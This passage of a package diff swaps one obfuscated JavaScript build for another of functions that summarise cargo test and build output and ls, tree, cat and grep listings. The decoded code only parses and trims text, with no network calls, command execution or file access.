result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x12672d){_0x3e5159+=parseInt(_0x12672d[0x2]),_0x54b404+=parseInt(_0x12672d[0x3]),_0x494dcc+=parseInt(_0x12672d[0x4]),_0x3bf1f6+=parseInt(_0x12672d[0x5]);continue;}if(_0x28d51e===_0x5b801a(0x195)||_0x28d51e===_0x5b801a(0x197)){_0x13fa46=!![];continue;}if(_0x13fa46){if(_0x28d51e[_0x5b801a(0x18c)](_0x5b801a(0x193))&&_0x28d51e['endsWith'](_0x5b801a(0x18f))){if(_0x7b6a71[_0x5b801a(0x18d)]>0x0)_0x5a6769[_0x5b801a(0x199)](_0x7b6a71[_0x5b801a(0x198)]('\x0a'));_0x7b6a71=[_0x28d51e[_0x5b801a(0x1a6)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x28d51e===_0x5b801a(0x195)||_0x28d51e['startsWith'](_0x5b801a(0x17c))){if(_0x7b6a71[_0x5b801a(0x18d)]>0x0)_0x5a6769[_0x5b801a(0x199)](_0x7b6a71['join']('\x0a'));_0x7b6a71=[],_0x13fa46=![];}else _0x28d51e[_0x5b801a(0x18d)]>0x0&&_0x7b6a71[_0x5b801a(0x199)](_0x323a46);}}}if(_0x7b6a71['length']>0x0)_0x5a6769['push'](_0x7b6a71[_0x5b801a(0x198)]('\x0a'));if(_0x3e5159===0x0&&_0x54b404===0x0&&_0x494dcc===0x0){if(_0x430f2c['includes'](_0x5b801a(0x189)))return _0x5b801a(0x185);return _0x430f2c;}if(_0x54b404===0x0){const _0x318828=['Cargo\x20test:\x20'+_0x3e5159+_0x5b801a(0x19d)];if(_0x494dcc>0x0)_0x318828['push'](_0x494dcc+_0x5b801a(0x175));return _0x318828[_0x5b801a(0x198)](',\x20');}const _0x43a8c=[_0x5b801a(0x1a5)+_0x3e5159+_0x5b801a(0x19a)+_0x54b404+_0x5b801a(0x181)+_0x494dcc+_0x5b801a(0x175)];if(_0x5a6769[_0x5b801a(0x18d)]>0x0){_0x43a8c['push']('\x0aFailures:');const _0x557e8c=0x3;for(let _0xc912f5=0x0;_0xc912f5<Math[_0x5b801a(0x1a7)](_0x5a6769[_0x5b801a(0x18d)],_0x557e8c);_0xc912f5++){const _0x31b475=_0x5a6769[_0xc912f5]['split']('\x0a');_0x43a8c[_0x5b801a(0x199)]('\x20\x20'+(_0xc912f5+0x1)+'.\x20'+_0x31b475[0x0]);const _0x537faf=_0x31b475[_0x5b801a(0x186)](0x1),_0xb0dad6=_0x537faf['filter'](_0xc725c8=>_0xc725c8[_0x5b801a(0x176)]()[_0x5b801a(0x18c)](_0x5b801a(0x173))||_0xc725c8[_0x5b801a(0x18b)]('panicked')||_0xc725c8['includes'](_0x5b801a(0x18a))||_0xc725c8[_0x5b801a(0x18b)](_0x5b801a(0x192))||_0xc725c8[_0x5b801a(0x18b)](_0x5b801a(0x178)));for(const _0x185423 of _0xb0dad6['slice'](0x0,0x5)){_0x43a8c[_0x5b801a(0x199)](_0x5b801a(0x19e)+_0x185423[_0x5b801a(0x176)]());}}_0x5a6769[_0x5b801a(0x18d)]>_0x557e8c&&_0x43a8c[_0x5b801a(0x199)](_0x5b801a(0x1a1)+(_0x5a6769[_0x5b801a(0x18d)]-_0x557e8c)+'\x20more\x20failures');}return _0x43a8c['join']('\x0a');}function a0_0x44d8(){const _0x505e27=['\x20passed,\x20','\x0aErrors:','10KXVSKf','\x20passed','\x20\x20\x20\x20','\x0aWarnings:','error:','\x20\x20...\x20+','\x20crates\x20successfully','Cargo:\x20','27902EFSFwZ','Cargo\x20test:\x20','replace','min','thread','795753NoMbNR','\x20ignored','trim','2136206AMHcFJ','right:','warning[','30139137mHRyir','filterCargoTest','test\x20result:','split','\x20errors,\x20','\x20crates,\x20','9538626VZaChg','\x20failed,\x20','1815915UJMRtB','__esModule','\x20more\x20errors','Cargo\x20test:\x20all\x20tests\x20passed','slice','Cargo:\x20compiled\x20','\x20warnings','test\x20result:\x20ok','assert','includes','startsWith','length','3xJbrYl','\x20----','filterCargoBuild','32ieiVjd','left:','----\x20','3880620XhBqcl','failures:','Compiling\x20','----\x20failures\x20----','join','push'];a0_0x44d8=function(){return _0x505e27;};return a0_0x44d8();}function a0_0x5d8b(_0x2278b7,_0x339566){_0x2278b7=_0x2278b7-0x173;const _0x44d802=a0_0x44d8();let _0x5d8b4f=_0x44d802[_0x2278b7];return _0x5d8b4f;}function filterCargoBuild(_0x446d78){const _0x287d0c=a0_0x4956c4,_0x4fdb80=_0x446d78[_0x287d0c(0x17d)]('\x0a'),_0x3ac58c=[],_0x4daab9=[];let _0x1e7eaa=0x0;for(const _0x461721 of _0x4fdb80){const _0x38aade=_0x461721['trim']();if(_0x38aade[_0x287d0c(0x18c)](_0x287d0c(0x196)))_0x1e7eaa++;else{if(_0x38aade[_0x287d0c(0x18c)](_0x287d0c(0x179))||_0x38aade[_0x287d0c(0x18c)]('warning:'))_0x3ac58c[_0x287d0c(0x199)](_0x38aade);else{if(_0x38aade[_0x287d0c(0x18c)]('error[')||_0x38aade[_0x287d0c(0x18c)](_0x287d0c(0x1a0)))_0x4daab9['push'](_0x38aade);}}}if(_0x4daab9[_0x287d0c(0x18d)]===0x0&&_0x3ac58c[_0x287d0c(0x18d)]===0x0)return _0x1e7eaa>0x0?_0x287d0c(0x187)+_0x1e7eaa+_0x287d0c(0x1a2):_0x446d78[_0x287d0c(0x176)]();const _0x367f47=[];if(_0x4daab9['length']>0x0){_0x367f47[_0x287d0c(0x199)](_0x287d0c(0x1a3)+_0x4daab9[_0x287d0c(0x18d)]+_0x287d0c(0x17e)+_0x3ac58c[_0x287d0c(0x18d)]+_0x287d0c(0x188)),_0x367f47[_0x287d0c(0x199)](_0x287d0c(0x19b));for(const _0x3d8e77 of _0x4daab9[_0x287d0c(0x186)](0x0,0x5))_0x367f47[_0x287d0c(0x199)]('\x20\x20'+_0x3d8e77);if(_0x4daab9[_0x287d0c(0x18d)]>0x5)_0x367f47[_0x287d0c(0x199)]('\x20\x20...\x20+'+(_0x4daab9[_0x287d0c(0x18d)]-0x5)+_0x287d0c(0x184));}else _0x367f47[_0x287d0c(0x199)](_0x287d0c(0x187)+_0x1e7eaa+_0x287d0c(0x17f)+_0x3ac58c['length']+'\x20warnings');if(_0x3ac58c[_0x287d0c(0x18d)]>0x0&&_0x3ac58c[_0x287d0c(0x18d)]<=0x5){_0x367f47['push'](_0x287d0c(0x19f));for(const _0x2af751 of _0x3ac58c)_0x367f47[_0x287d0c(0x199)]('\x20\x20'+_0x2af751);}else _0x3ac58c[_0x287d0c(0x18d)]>0x5&&_0x367f47[_0x287d0c(0x199)]('\x0a('+_0x3ac58c['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x367f47[_0x287d0c(0x198)]('\x0a');}
1
+ 'use strict';const a0_0x9507ca=a0_0x387e;(function(_0x510b54,_0xcfeecd){const _0x4be66c=a0_0x387e,_0x108963=_0x510b54();while(!![]){try{const _0x4c38ab=parseInt(_0x4be66c(0x1a7))/0x1+-parseInt(_0x4be66c(0x17c))/0x2+-parseInt(_0x4be66c(0x1a4))/0x3+-parseInt(_0x4be66c(0x186))/0x4+parseInt(_0x4be66c(0x193))/0x5+parseInt(_0x4be66c(0x194))/0x6+parseInt(_0x4be66c(0x195))/0x7;if(_0x4c38ab===_0xcfeecd)break;else _0x108963['push'](_0x108963['shift']());}catch(_0x5cf3ce){_0x108963['push'](_0x108963['shift']());}}}(a0_0x1b99,0xd0922));function a0_0x387e(_0x3665c0,_0x22a6db){const _0x1b9977=a0_0x1b99();return a0_0x387e=function(_0x387ece,_0x2459aa){_0x387ece=_0x387ece-0x177;let _0x2f8baa=_0x1b9977[_0x387ece];return _0x2f8baa;},a0_0x387e(_0x3665c0,_0x22a6db);}function a0_0x1b99(){const _0x8bd5f3=['\x20----','\x20crates\x20successfully','test\x20result:\x20ok','warning:','slice','length','2610392xvhdyZ','split','Cargo:\x20','error:','match','startsWith','filterCargoTest','panicked','Cargo\x20test:\x20','\x20warnings','min','trim','assert','2857845BsMGQm','6138126BEvxpb','2346519WrmPWt','right:','replace','defineProperty','error[','Cargo:\x20compiled\x20','thread','Compiling\x20','\x20failed,\x20','__esModule','\x20passed,\x20','\x20\x20\x20\x20','join','failures:','\x20\x20...\x20+','3606414gkFIgO','endsWith','----\x20','1461452FrYTKw','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','\x20passed','left:','push','includes','warning[','\x20errors,\x20','1364434cTDqbn','test\x20result:','\x0aFailures:','filterCargoBuild'];a0_0x1b99=function(){return _0x8bd5f3;};return a0_0x1b99();}Object[a0_0x9507ca(0x198)](exports,a0_0x9507ca(0x19e),{'value':!![]}),exports[a0_0x9507ca(0x18c)]=filterCargoTest,exports[a0_0x9507ca(0x17f)]=filterCargoBuild;function filterCargoTest(_0x554ab9){const _0xa6ff3f=a0_0x9507ca,_0x272acd=_0x554ab9['split']('\x0a');let _0x1d63b1=0x0,_0x566823=0x0,_0x23ee18=0x0,_0x54021d=0x0;const _0x4b2740=[];let _0x36ef0a=![],_0x4446b0=[];for(const _0x8d722 of _0x272acd){const _0x2db01d=_0x8d722[_0xa6ff3f(0x191)](),_0x55cdb9=_0x2db01d[_0xa6ff3f(0x18a)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x55cdb9){_0x1d63b1+=parseInt(_0x55cdb9[0x2]),_0x566823+=parseInt(_0x55cdb9[0x3]),_0x23ee18+=parseInt(_0x55cdb9[0x4]),_0x54021d+=parseInt(_0x55cdb9[0x5]);continue;}if(_0x2db01d===_0xa6ff3f(0x1a2)||_0x2db01d==='----\x20failures\x20----'){_0x36ef0a=!![];continue;}if(_0x36ef0a){if(_0x2db01d['startsWith'](_0xa6ff3f(0x1a6))&&_0x2db01d[_0xa6ff3f(0x1a5)](_0xa6ff3f(0x180))){if(_0x4446b0[_0xa6ff3f(0x185)]>0x0)_0x4b2740[_0xa6ff3f(0x178)](_0x4446b0[_0xa6ff3f(0x1a1)]('\x0a'));_0x4446b0=[_0x2db01d[_0xa6ff3f(0x197)](/^-+\s*/,'')[_0xa6ff3f(0x197)](/\s*-+$/,'')];}else{if(_0x2db01d==='failures:'||_0x2db01d['startsWith'](_0xa6ff3f(0x17d))){if(_0x4446b0[_0xa6ff3f(0x185)]>0x0)_0x4b2740['push'](_0x4446b0[_0xa6ff3f(0x1a1)]('\x0a'));_0x4446b0=[],_0x36ef0a=![];}else _0x2db01d[_0xa6ff3f(0x185)]>0x0&&_0x4446b0[_0xa6ff3f(0x178)](_0x8d722);}}}if(_0x4446b0[_0xa6ff3f(0x185)]>0x0)_0x4b2740[_0xa6ff3f(0x178)](_0x4446b0[_0xa6ff3f(0x1a1)]('\x0a'));if(_0x1d63b1===0x0&&_0x566823===0x0&&_0x23ee18===0x0){if(_0x554ab9[_0xa6ff3f(0x179)](_0xa6ff3f(0x182)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x554ab9;}if(_0x566823===0x0){const _0x45fc9b=[_0xa6ff3f(0x18e)+_0x1d63b1+_0xa6ff3f(0x1a9)];if(_0x23ee18>0x0)_0x45fc9b[_0xa6ff3f(0x178)](_0x23ee18+'\x20ignored');return _0x45fc9b['join'](',\x20');}const _0x3e9523=[_0xa6ff3f(0x18e)+_0x1d63b1+_0xa6ff3f(0x19f)+_0x566823+_0xa6ff3f(0x19d)+_0x23ee18+'\x20ignored'];if(_0x4b2740[_0xa6ff3f(0x185)]>0x0){_0x3e9523['push'](_0xa6ff3f(0x17e));const _0x4aea0b=0x3;for(let _0x4fb4ab=0x0;_0x4fb4ab<Math[_0xa6ff3f(0x190)](_0x4b2740[_0xa6ff3f(0x185)],_0x4aea0b);_0x4fb4ab++){const _0x20dc22=_0x4b2740[_0x4fb4ab]['split']('\x0a');_0x3e9523[_0xa6ff3f(0x178)]('\x20\x20'+(_0x4fb4ab+0x1)+'.\x20'+_0x20dc22[0x0]);const _0x4e7ce1=_0x20dc22['slice'](0x1),_0x2987ca=_0x4e7ce1['filter'](_0x8b6998=>_0x8b6998['trim']()[_0xa6ff3f(0x18b)](_0xa6ff3f(0x19b))||_0x8b6998[_0xa6ff3f(0x179)](_0xa6ff3f(0x18d))||_0x8b6998['includes'](_0xa6ff3f(0x192))||_0x8b6998[_0xa6ff3f(0x179)](_0xa6ff3f(0x177))||_0x8b6998[_0xa6ff3f(0x179)](_0xa6ff3f(0x196)));for(const _0x197195 of _0x2987ca[_0xa6ff3f(0x184)](0x0,0x5)){_0x3e9523['push'](_0xa6ff3f(0x1a0)+_0x197195[_0xa6ff3f(0x191)]());}}_0x4b2740[_0xa6ff3f(0x185)]>_0x4aea0b&&_0x3e9523['push'](_0xa6ff3f(0x1a3)+(_0x4b2740[_0xa6ff3f(0x185)]-_0x4aea0b)+'\x20more\x20failures');}return _0x3e9523[_0xa6ff3f(0x1a1)]('\x0a');}function filterCargoBuild(_0x80886d){const _0x37bf9f=a0_0x9507ca,_0x26fa11=_0x80886d[_0x37bf9f(0x187)]('\x0a'),_0x27a5b8=[],_0x2951ca=[];let _0x29fada=0x0;for(const _0x11c8ab of _0x26fa11){const _0x141d3f=_0x11c8ab[_0x37bf9f(0x191)]();if(_0x141d3f['startsWith'](_0x37bf9f(0x19c)))_0x29fada++;else{if(_0x141d3f[_0x37bf9f(0x18b)](_0x37bf9f(0x17a))||_0x141d3f['startsWith'](_0x37bf9f(0x183)))_0x27a5b8[_0x37bf9f(0x178)](_0x141d3f);else{if(_0x141d3f[_0x37bf9f(0x18b)](_0x37bf9f(0x199))||_0x141d3f[_0x37bf9f(0x18b)](_0x37bf9f(0x189)))_0x2951ca[_0x37bf9f(0x178)](_0x141d3f);}}}if(_0x2951ca[_0x37bf9f(0x185)]===0x0&&_0x27a5b8[_0x37bf9f(0x185)]===0x0)return _0x29fada>0x0?'Cargo:\x20compiled\x20'+_0x29fada+_0x37bf9f(0x181):_0x80886d[_0x37bf9f(0x191)]();const _0x5e9531=[];if(_0x2951ca[_0x37bf9f(0x185)]>0x0){_0x5e9531[_0x37bf9f(0x178)](_0x37bf9f(0x188)+_0x2951ca[_0x37bf9f(0x185)]+_0x37bf9f(0x17b)+_0x27a5b8[_0x37bf9f(0x185)]+_0x37bf9f(0x18f)),_0x5e9531['push']('\x0aErrors:');for(const _0x3b2708 of _0x2951ca['slice'](0x0,0x5))_0x5e9531[_0x37bf9f(0x178)]('\x20\x20'+_0x3b2708);if(_0x2951ca[_0x37bf9f(0x185)]>0x5)_0x5e9531['push'](_0x37bf9f(0x1a3)+(_0x2951ca[_0x37bf9f(0x185)]-0x5)+'\x20more\x20errors');}else _0x5e9531['push'](_0x37bf9f(0x19a)+_0x29fada+'\x20crates,\x20'+_0x27a5b8[_0x37bf9f(0x185)]+_0x37bf9f(0x18f));if(_0x27a5b8[_0x37bf9f(0x185)]>0x0&&_0x27a5b8['length']<=0x5){_0x5e9531[_0x37bf9f(0x178)]('\x0aWarnings:');for(const _0x1ef726 of _0x27a5b8)_0x5e9531[_0x37bf9f(0x178)]('\x20\x20'+_0x1ef726);}else _0x27a5b8[_0x37bf9f(0x185)]>0x5&&_0x5e9531[_0x37bf9f(0x178)]('\x0a('+_0x27a5b8[_0x37bf9f(0x185)]+_0x37bf9f(0x1a8));return _0x5e9531['join']('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x208058=a0_0x22d9;function a0_0x5571(){const _0x1b09cd=['split','564NKdGmp','10719GrDtgU','\x20directories,\x20','filter','15170990TBWfLs','\x20more\x20directories','filterTree','\x20lines\x20total)','startsWith','substring','6TzZgkX','\x0a...\x20(','No\x20matches\x20found','\x0a...\x20[','1166469KDqmAj','filterGrep','\x20files)','includes','push','9054801hcVVbf','1130QyFfHg',':\x20...\x20(','indexOf','endsWith','\x20matches\x20across\x20','total\x20','join','defineProperty','\x20more\x20matches','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','slice','match','filterCat','keys','\x20matches\x20in\x20this\x20file)','trim','5336838OEqeth','Empty\x20directory','...\x20+','263608ygEhIl','__esModule','length','8828ujtbJw'];a0_0x5571=function(){return _0x1b09cd;};return a0_0x5571();}(function(_0x3bb89e,_0x108cc2){const _0x2c58bc=a0_0x22d9,_0x2c6dc1=_0x3bb89e();while(!![]){try{const _0x2c241e=-parseInt(_0x2c58bc(0x10d))/0x1+-parseInt(_0x2c58bc(0xff))/0x2*(parseInt(_0x2c58bc(0x100))/0x3)+parseInt(_0x2c58bc(0xfd))/0x4*(-parseInt(_0x2c58bc(0x113))/0x5)+parseInt(_0x2c58bc(0x109))/0x6*(parseInt(_0x2c58bc(0x112))/0x7)+-parseInt(_0x2c58bc(0xfa))/0x8+parseInt(_0x2c58bc(0xf7))/0x9+parseInt(_0x2c58bc(0x103))/0xa;if(_0x2c241e===_0x108cc2)break;else _0x2c6dc1['push'](_0x2c6dc1['shift']());}catch(_0x14776b){_0x2c6dc1['push'](_0x2c6dc1['shift']());}}}(a0_0x5571,0xaa5ec));Object[a0_0x208058(0x11a)](exports,a0_0x208058(0xfb),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x208058(0x105)]=filterTree,exports[a0_0x208058(0x11f)]=filterCat,exports[a0_0x208058(0x10e)]=filterGrep;function a0_0x22d9(_0x109f9b,_0x44be4b){_0x109f9b=_0x109f9b-0xf6;const _0x5571f6=a0_0x5571();let _0x22d924=_0x5571f6[_0x109f9b];return _0x22d924;}function filterLs(_0x4ced30){const _0x2fa6aa=a0_0x208058,_0x17e787=_0x4ced30[_0x2fa6aa(0xfe)]('\x0a')[_0x2fa6aa(0x102)](_0x32a489=>_0x32a489[_0x2fa6aa(0xf6)]()[_0x2fa6aa(0xfc)]>0x0);if(_0x17e787[_0x2fa6aa(0xfc)]===0x0)return _0x2fa6aa(0xf8);if(_0x17e787[_0x2fa6aa(0xfc)]<=0x1e)return _0x4ced30['trim']();const _0x82dc0a=[],_0x124f81=[];for(const _0x2cf6b9 of _0x17e787){const _0x8de3c8=_0x2cf6b9[_0x2fa6aa(0xf6)]();if(_0x8de3c8['startsWith'](_0x2fa6aa(0x118))||_0x8de3c8[_0x2fa6aa(0x107)]('d')&&_0x8de3c8[_0x2fa6aa(0x110)]('..'))continue;_0x8de3c8[_0x2fa6aa(0x116)]('/')||_0x8de3c8[_0x2fa6aa(0x107)]('d')&&_0x8de3c8['includes']('\x20')?_0x82dc0a[_0x2fa6aa(0x111)](_0x8de3c8):_0x124f81[_0x2fa6aa(0x111)](_0x8de3c8);}const _0x31bad7=[];return _0x82dc0a[_0x2fa6aa(0xfc)]>0x0&&(_0x82dc0a[_0x2fa6aa(0xfc)]<=0xf?_0x31bad7['push'](..._0x82dc0a):(_0x31bad7['push'](..._0x82dc0a[_0x2fa6aa(0x11d)](0x0,0xa)),_0x31bad7[_0x2fa6aa(0x111)](_0x2fa6aa(0xf9)+(_0x82dc0a[_0x2fa6aa(0xfc)]-0xa)+_0x2fa6aa(0x104)))),_0x124f81[_0x2fa6aa(0xfc)]>0x0&&(_0x124f81[_0x2fa6aa(0xfc)]<=0x14?_0x31bad7['push'](..._0x124f81):(_0x31bad7['push'](..._0x124f81['slice'](0x0,0xf)),_0x31bad7[_0x2fa6aa(0x111)](_0x2fa6aa(0xf9)+(_0x124f81[_0x2fa6aa(0xfc)]-0xf)+'\x20more\x20files'))),_0x31bad7[_0x2fa6aa(0x111)]('\x0a('+_0x82dc0a[_0x2fa6aa(0xfc)]+_0x2fa6aa(0x101)+_0x124f81[_0x2fa6aa(0xfc)]+_0x2fa6aa(0x10f)),_0x31bad7[_0x2fa6aa(0x119)]('\x0a');}function filterTree(_0x188d59){const _0x284d25=a0_0x208058,_0x2b988e=_0x188d59[_0x284d25(0xfe)]('\x0a');if(_0x2b988e[_0x284d25(0xfc)]<=0x32)return _0x188d59['trim']();const _0x31eeff=[];let _0x473121=0x0,_0x3b0c18=0x0,_0x1b57cf=0x0;for(const _0x15994a of _0x2b988e){const _0x4c3b82=_0x15994a[_0x284d25(0x11e)](/(\d+)\s+director/),_0x5e8aa6=_0x15994a['match'](/(\d+)\s+file/);if(_0x4c3b82)_0x1b57cf=parseInt(_0x4c3b82[0x1]);if(_0x5e8aa6)_0x3b0c18=parseInt(_0x5e8aa6[0x1]);const _0x538e02=(_0x15994a[_0x284d25(0x11e)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x538e02<=0x4&&(_0x31eeff[_0x284d25(0x111)](_0x15994a),_0x473121++);}return _0x2b988e[_0x284d25(0xfc)]>_0x31eeff[_0x284d25(0xfc)]&&_0x31eeff[_0x284d25(0x111)](_0x284d25(0x10a)+_0x1b57cf+'\x20directories,\x20'+_0x3b0c18+_0x284d25(0x11c)),_0x31eeff['join']('\x0a');}function filterCat(_0x13b25e){const _0x1ad28c=a0_0x208058,_0x11e684=_0x13b25e[_0x1ad28c(0xfe)]('\x0a');if(_0x11e684['length']<=0x64)return _0x13b25e;const _0x86e525=[];return _0x86e525[_0x1ad28c(0x111)](..._0x11e684[_0x1ad28c(0x11d)](0x0,0x32)),_0x86e525['push'](_0x1ad28c(0x10c)+(_0x11e684[_0x1ad28c(0xfc)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0x86e525[_0x1ad28c(0x111)](..._0x11e684[_0x1ad28c(0x11d)](-0x1e)),_0x86e525['push']('\x0a('+_0x11e684['length']+_0x1ad28c(0x106)),_0x86e525['join']('\x0a');}function filterGrep(_0x9c0aa2){const _0x31399e=a0_0x208058,_0x1749e1=_0x9c0aa2[_0x31399e(0xfe)]('\x0a')['filter'](_0x221c0c=>_0x221c0c[_0x31399e(0xf6)]()[_0x31399e(0xfc)]>0x0);if(_0x1749e1[_0x31399e(0xfc)]===0x0)return _0x31399e(0x10b);if(_0x1749e1[_0x31399e(0xfc)]<=0x32)return _0x9c0aa2[_0x31399e(0xf6)]();const _0x4f87f9={},_0x27c3c6=[];for(const _0x116d74 of _0x1749e1){const _0x24cd4c=_0x116d74[_0x31399e(0x115)](':');if(_0x24cd4c>0x0&&_0x24cd4c<0xc8){const _0x73e8e2=_0x116d74[_0x31399e(0x108)](0x0,_0x24cd4c);if(_0x73e8e2[_0x31399e(0x110)]('/')||_0x73e8e2['includes']('\x5c')||_0x73e8e2[_0x31399e(0x110)]('.')){if(!_0x4f87f9[_0x73e8e2])_0x4f87f9[_0x73e8e2]=[];_0x4f87f9[_0x73e8e2][_0x31399e(0x111)](_0x116d74[_0x31399e(0x108)](_0x24cd4c+0x1)[_0x31399e(0xf6)]());continue;}}_0x27c3c6[_0x31399e(0x111)](_0x116d74);}const _0x258d38=[],_0x4d9e0f=Object[_0x31399e(0x120)](_0x4f87f9);if(_0x4d9e0f[_0x31399e(0xfc)]>0x0){const _0x5b9f57=0x14,_0x3f311f=_0x4d9e0f['slice'](0x0,_0x5b9f57);for(const _0x297556 of _0x3f311f){const _0x3caa9e=_0x4f87f9[_0x297556];if(_0x3caa9e['length']<=0x3)for(const _0x31e1b1 of _0x3caa9e){_0x258d38[_0x31399e(0x111)](_0x297556+':\x20'+_0x31e1b1);}else _0x258d38[_0x31399e(0x111)](_0x297556+':\x20'+_0x3caa9e[0x0]),_0x258d38[_0x31399e(0x111)](_0x297556+_0x31399e(0x114)+_0x3caa9e[_0x31399e(0xfc)]+_0x31399e(0x121));}_0x4d9e0f['length']>_0x5b9f57&&_0x258d38[_0x31399e(0x111)](_0x31399e(0xf9)+(_0x4d9e0f[_0x31399e(0xfc)]-_0x5b9f57)+'\x20more\x20files\x20with\x20matches');}if(_0x27c3c6['length']>0x0){const _0x1af85d=0x1e;_0x258d38[_0x31399e(0x111)](..._0x27c3c6[_0x31399e(0x11d)](0x0,_0x1af85d)),_0x27c3c6[_0x31399e(0xfc)]>_0x1af85d&&_0x258d38[_0x31399e(0x111)](_0x31399e(0xf9)+(_0x27c3c6[_0x31399e(0xfc)]-_0x1af85d)+_0x31399e(0x11b));}const _0x306f97=_0x1749e1[_0x31399e(0xfc)];return _0x258d38[_0x31399e(0x111)]('\x0a('+_0x306f97+_0x31399e(0x117)+(_0x4d9e0f[_0x31399e(0xfc)]||'?')+_0x31399e(0x10f)),_0x258d38[_0x31399e(0x119)]('\x0a');}
1
+ 'use strict';const a0_0x205ce1=a0_0x57eb;(function(_0x1ad4b2,_0x537009){const _0x3df0b7=a0_0x57eb,_0x95ed6c=_0x1ad4b2();while(!![]){try{const _0x2a6c88=parseInt(_0x3df0b7(0x148))/0x1*(parseInt(_0x3df0b7(0x14f))/0x2)+-parseInt(_0x3df0b7(0x15b))/0x3*(parseInt(_0x3df0b7(0x146))/0x4)+parseInt(_0x3df0b7(0x155))/0x5*(parseInt(_0x3df0b7(0x15d))/0x6)+parseInt(_0x3df0b7(0x13b))/0x7*(parseInt(_0x3df0b7(0x14a))/0x8)+parseInt(_0x3df0b7(0x143))/0x9+parseInt(_0x3df0b7(0x140))/0xa*(-parseInt(_0x3df0b7(0x167))/0xb)+-parseInt(_0x3df0b7(0x14c))/0xc;if(_0x2a6c88===_0x537009)break;else _0x95ed6c['push'](_0x95ed6c['shift']());}catch(_0x5e3451){_0x95ed6c['push'](_0x95ed6c['shift']());}}}(a0_0x4a68,0xe7869));Object[a0_0x205ce1(0x152)](exports,a0_0x205ce1(0x13f),{'value':!![]}),exports[a0_0x205ce1(0x149)]=filterLs,exports[a0_0x205ce1(0x14b)]=filterTree,exports['filterCat']=filterCat,exports[a0_0x205ce1(0x160)]=filterGrep;function a0_0x4a68(){const _0x328747=['total\x20','__esModule','10JuQCJj','keys','\x0a...\x20(','6518925LYOwpW','\x20lines\x20total)','\x20matches\x20across\x20','60044VoJTwI','\x20files)','1983IYkNQE','filterLs','16vrewGe','filterTree','270600OgsWgM','substring',':\x20...\x20(','1396JDvRAs','includes','\x20more\x20directories','defineProperty','push','startsWith','5htteap','length','split','\x20directories,\x20','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','filter','105NYGabF','...\x20+','1107048vmSKpy','trim','\x20lines\x20truncated]\x20...\x0a','filterGrep','indexOf','endsWith','match','Empty\x20directory','\x20matches\x20in\x20this\x20file)','join','14226201nKycCU','\x20more\x20files\x20with\x20matches','\x20more\x20files','1738058SRFLps','\x0a...\x20[','slice'];a0_0x4a68=function(){return _0x328747;};return a0_0x4a68();}function filterLs(_0x4fac90){const _0x19ab3d=a0_0x205ce1,_0x1bf2f2=_0x4fac90['split']('\x0a')[_0x19ab3d(0x15a)](_0xe82a24=>_0xe82a24['trim']()[_0x19ab3d(0x156)]>0x0);if(_0x1bf2f2[_0x19ab3d(0x156)]===0x0)return _0x19ab3d(0x164);if(_0x1bf2f2[_0x19ab3d(0x156)]<=0x1e)return _0x4fac90[_0x19ab3d(0x15e)]();const _0x5142d1=[],_0x5ae0e4=[];for(const _0x3b8598 of _0x1bf2f2){const _0x50c789=_0x3b8598[_0x19ab3d(0x15e)]();if(_0x50c789[_0x19ab3d(0x154)](_0x19ab3d(0x13e))||_0x50c789[_0x19ab3d(0x154)]('d')&&_0x50c789[_0x19ab3d(0x150)]('..'))continue;_0x50c789[_0x19ab3d(0x162)]('/')||_0x50c789[_0x19ab3d(0x154)]('d')&&_0x50c789[_0x19ab3d(0x150)]('\x20')?_0x5142d1[_0x19ab3d(0x153)](_0x50c789):_0x5ae0e4[_0x19ab3d(0x153)](_0x50c789);}const _0x108323=[];return _0x5142d1[_0x19ab3d(0x156)]>0x0&&(_0x5142d1[_0x19ab3d(0x156)]<=0xf?_0x108323[_0x19ab3d(0x153)](..._0x5142d1):(_0x108323[_0x19ab3d(0x153)](..._0x5142d1['slice'](0x0,0xa)),_0x108323['push'](_0x19ab3d(0x15c)+(_0x5142d1[_0x19ab3d(0x156)]-0xa)+_0x19ab3d(0x151)))),_0x5ae0e4[_0x19ab3d(0x156)]>0x0&&(_0x5ae0e4[_0x19ab3d(0x156)]<=0x14?_0x108323['push'](..._0x5ae0e4):(_0x108323[_0x19ab3d(0x153)](..._0x5ae0e4['slice'](0x0,0xf)),_0x108323['push'](_0x19ab3d(0x15c)+(_0x5ae0e4[_0x19ab3d(0x156)]-0xf)+_0x19ab3d(0x169)))),_0x108323['push']('\x0a('+_0x5142d1[_0x19ab3d(0x156)]+_0x19ab3d(0x158)+_0x5ae0e4[_0x19ab3d(0x156)]+_0x19ab3d(0x147)),_0x108323['join']('\x0a');}function filterTree(_0x41913b){const _0x32af87=a0_0x205ce1,_0x3c4af3=_0x41913b[_0x32af87(0x157)]('\x0a');if(_0x3c4af3[_0x32af87(0x156)]<=0x32)return _0x41913b['trim']();const _0x5c8221=[];let _0x47b121=0x0,_0x3d6144=0x0,_0x136d13=0x0;for(const _0x4ed572 of _0x3c4af3){const _0x24c299=_0x4ed572[_0x32af87(0x163)](/(\d+)\s+director/),_0x22a755=_0x4ed572[_0x32af87(0x163)](/(\d+)\s+file/);if(_0x24c299)_0x136d13=parseInt(_0x24c299[0x1]);if(_0x22a755)_0x3d6144=parseInt(_0x22a755[0x1]);const _0x3ee55f=(_0x4ed572['match'](/^[│├└\s─]+/)||[''])[0x0][_0x32af87(0x156)];_0x3ee55f<=0x4&&(_0x5c8221['push'](_0x4ed572),_0x47b121++);}return _0x3c4af3['length']>_0x5c8221[_0x32af87(0x156)]&&_0x5c8221[_0x32af87(0x153)](_0x32af87(0x142)+_0x136d13+_0x32af87(0x158)+_0x3d6144+_0x32af87(0x159)),_0x5c8221[_0x32af87(0x166)]('\x0a');}function 